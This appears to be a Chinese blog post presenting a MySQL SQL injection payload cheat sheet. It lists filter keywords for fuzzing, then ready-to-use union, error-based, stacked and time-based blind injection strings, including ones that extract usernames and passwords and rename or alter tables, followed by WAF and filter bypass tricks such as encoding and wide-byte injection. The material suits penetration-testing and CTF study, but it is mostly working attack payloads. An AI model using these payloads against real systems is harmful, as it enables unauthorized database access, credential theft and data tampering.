SQL注入payload速查--MySQL

人所恐惧的是对于未知事物的不确定性

SQL常见注释符有"#“和”–“以及内联注释”/*!*/"

sqlmap使用手册:https://blog.csdn.net/2301_80127209/article/details/138612315

mysql数据库注入知识点:https://wiki.wgpsec.org/knowledge/web/sql_injection.html

目录速递

【1】过滤列表

【2】联合注入

【3】报错注入

【4】堆叠注入

【5】延时注入

【6】绕过tips

【7】知识进阶

过滤字符(作测试字典用)

#特殊字符
=
()
''
""
,
#
--+
+
-
^
%
\
*
[]
>
<
&
|
`
~
.
/
;
#联合注入关键字
and
or
where
from
like
select
union
order by
database()
version()
user()
information_schema
table_schema
table_name
column_name
group_concat()
limit
#报错注入关键字
and
or
where
from
like
select
union
order by
database()
version()
user()
information_schema
table_schema
table_name
column_name
extractvalue()
updatexml()
floor()
exp()
left()
right()
mid()
concat()
group_concat()
limit
#堆叠注入关键字
show
databases
tables
columns
from
rename
alter
handler
open
read
close
prepare
concat
execute
#延时注入关键字
and
if
select
count
from
where
limit
ascii
substr
sleep()
benchmark()
delayed_analyse()
information_schema
tables
columns

回到目录

联合注入

#查字段
1' order by 1#
1' order by 100#

#联合查询(假设字段为3)
-1' union select 1,2,3# //-1使页面报错,方便显示

#查所有数据库名(假设回显为2)
-1' union select 1,database(),3#
-1' union select 1,database(),3 from information_schema.tables#

#查看版本
-1' union select 1,version(),3#

#查指定库的表名
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='库名'#

#查指定表的列名
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='库名' and table_name='表名'#

#查看指定列名的内容
-1' union select 1,group_concat(列名1,0x3a,列名2),3 from 库名.列名#

回到目录

报错注入

#extractvalue() //空格和"="被过滤的情况
1'^extractvalue(1,concat(0x5c,(select(database()))))# //爆库名

1'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('库名'))))# //查表名

1'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('表名'))))# //查列名

1'^extractvalue(1,concat(0x7e,(select(left(列名,30))from(库名.表名))))# //查从左数30个字段

1'^extractvalue(1,concat(0x7e,(select(right(列名,30))from(库名.表名))))#
#updatexml()函数
1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)# //爆库

1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='库名' limit 0,1),0x7e),1)# //查表名

1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1),0x7e),1)# //查列名

1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)# //查数据
#BigInt数据类型溢出--exp()或pow()
1' and exp(~(select * from (select user())a))# //查看当前库的权限

1' and exp(~(select * from (select table_name from information_schema.tables where table_schema=database() limit 0,1)a))# //查表名

1' and exp(~(select * from (select column_name from information_schema.columns where table_name='表名' limit 0,1)a))# //查列名

1' and exp(~(select * from(select '列名' from '表名' limit 0,1)))# //获取对应信息
#floor()函数
1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)#

回到目录

堆叠注入

#常规查询语句
1';show databases;# //查库名·
1';show tables;# //查表名
1';show columns from `表名`;# //查列名,表名用反引号包围
#rename改表改列
1';RENAME TABLE `表1` TO `表2`;RENAME TABLE `表3` TO `表1`;ALTER TABLE `表1` CHANGE `列1` `列2` VARCHAR(100) ;show columns from1;# //将表1改名为表2,将表3改名为表1,再将表1的列1改为列2,最后查看表1的列名信息 //适用于查看没有权限的表
#handler读取表中数据
1';HANDLER 表名 OPEN;HANDLER 表名 READ FIRST;HANDLER 表名 CLOSE;# //此方法使用于在查列时select被禁的情况,逻辑为打开指定表名,读取表中第一行数据,关闭表并释放资源。
#set转换操作符
1;set sql_mode=PIPES_AS_CONCAT;select 1 //适用于后端代码采用'||'判断的情况。
#sql预处理
PREPARE hacker from concat('s','elect', ' * from `表名` ');
EXECUTE hacker;# //绕过特定字符串的过滤

set@a=hex编码值;prepare hacker from @a;execute hacker;# //结合hex(进制)编码实现绕过

回到目录

延时注入

#常规判断
1' and (sleep(5))--+ //延时5
#测试数据库长度
1' and if(length(database())=1,sleep(5),1)--+ #没有延时
1' and if(length(database())=2,sleep(5),1)--+ #没有延时
1' and if(length(database())=3,sleep(5),1)--+ #没有延时
......
1' and if(length(database())=8,sleep(5),1)--+ #延时5秒
//得出数据库名长度为8
#盲注猜数据库名
1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)--+ #延时5秒
1' and if(ascii(substr(database(),1,1))<120,sleep(5),1)--+ #没有延时 
//得出数据库名的第一个字符的ASCII码的在97~120之间,以此来缩小ASCII码的范围,以此类推第二第三个字符...
......
1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+ #延时5秒
1' and if(ascii(substr(database(),2,1))=101,sleep(5),1)--+ #延时5秒
1' and if(ascii(substr(database(),3,1))=99,sleep(5),1)--+ #延时5秒
1' and if(ascii(substr(database(),4,1))=117,sleep(5),1)--+ #延时5秒
1' and if(ascii(substr(database(),5,1))=114,sleep(5),1)--+ #延时5秒
1' and if(ascii(substr(database(),6,1))=105,sleep(5),1)--+ #延时5秒
1' and if(ascii(substr(database(),7,1))=116,sleep(5),1)--+ #延时5秒
1' and if(ascii(substr(database(),8,1))=121,sleep(5),1)--+ #延时5秒
第一个字母ascii码为115,因此第一个字母为's',以此类推
#判断表的数量
1' and if((select count(table_name) from information_schema.tables where
table_schema="库名")=4,sleep(2),0)--+ //判断表的数量是否为4
...

#判断表的长度
1' and if(length((select table_name from information_schema.tables where
table_schema='库名' limit 3,1))=5,sleep(3),1)--+ //判断库中第四个表名的长度是否为5
...

#判断表名的ASCII码(表名的长度为5)
1' and if(ascii(substr((select table_name from information_schema.tables where
table_schema='库名' limit 3,1),1,1))=117,sleep(3),1)--+ //第一个子符
1' and if(ascii(substr((select table_name from information_schema.tables where
table_schema='库名' limit 3,1),2,1))=115,sleep(3),1)--+ //第二个字符
1'and if(ascii(substr((select table_name from information_schema.tables where
table_schema='库名' limit 3,1),3,1))=101,sleep(3),1)--+ //第三个字符
1' and if(ascii(substr((select table_name from information_schema.tables where
table_schema='库名' limit 3,1),4,1))=114,sleep(3),1)--+ //第四个字符
1'and if(ascii(substr((select table_name from information_schema.tables where
table_schema='库名' limit 3,1),5,1))=115,sleep(3),1)--+ //第五个字符
//以上操作用于猜测指定库中第四个表名对应的ASCII码,分别得出ASCII码为177115101114115
#判断有多少列
1' and if((select count(column_name) from information_schema.columns where
table_schema="库名" and table_name="表名")=3,sleep(5),0)--+ //判断指定表中是否有3个列名
...

#判断列名长度
1' and if(length((select column_name from information_schema.columns where
table_schema="库名" and table_name="表名" limit 0,1))=8,sleep(5),1)--+ //判断指定表中第一个列名的长度是否为8
...

#判断列名ASCII码
1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),1,1))=117,sleep(5),1)--+ //第一个字符
1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),2,1))=115,sleep(5),1)--+ //第二个字符
1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),3,1))=101,sleep(5),1)--+ //第三个字符
1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),4,1))=114,sleep(5),1)--+ //第四个字符
1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),5,1))=110,sleep(5),1)--+ //第五个字符
1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),6,1))=97,sleep(5),1)--+ //第六个字符
1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),7,1))=109,sleep(5),1)--+ //第七个字符
1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),8,1))=101,sleep(5),1)--+ //第八个字符
//以上操作用于猜测指定库中第一个列名对应的ASCII码,分别得出ASCII码为17711510111411097109101
#猜测字段
1' and if(ascii(substr((select 列名 from 表名 limit 0,1),1,1))=68,sleep(5),1)--+ //第一个字符
1' and if(ascii(substr((select 列名 from 表名 limit 0,1),2,1))=68,sleep(5),1)--+ //第二个字符
...

延时注入和布尔盲注是一种工作量很大的注入方式,在允许的条件下,建议直接使用sqlmap或者自己编写自动化脚本来减少注入的工作量

回到目录

绕过tips

字符替换

1.'=' <=> 'like''REGEXP'或'!(table_name<>'admin')' //'REGEXP'为正则匹配符,在一定条件下可以代替等号
2.'#' <=> '%23'
3.空格 <=> '/**/''%0a''%0b''%0d''%a0''`'
4.'or' <=> '||'
5.'and' <=> '&&'
6.'xor' <=> '|''^' //'xor'在sql中表示异或逻辑符,当两者条件有一个为真则返回真,如果全为真或全为假则返回假。
7.'not' <=> '!'

关键字符及关键字被过滤

#空格字符绕过
1./*!*/ #内联注释符
2./**/  #注释符
3.%a0   #URL编码换行符
4.() #查询语句之间用括号连接,只要逻辑清晰,MySQL就能够识别
5.`` #反引号前面不加空格也是可以的
6.加号(+) #起连接作用,可替代空格

其他绕过思路

1.宽字节绕过,%df #单引号被过滤,数据库使用gbk编码情况下
2.编码绕过 #将被过滤或检测的字符进行编码(URL编码,Unicode编码,十六进制编码,双重URL编码,ASCII编码)
3.等价函数绕过 #一些不被禁用的函数可以代替一些黑名单函数
4.大小写绕过
5.双写绕过
6.换行绕过

回到目录

知识进阶

其他数据库的注入学习

MYYSQL

Oracle

  • 5
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值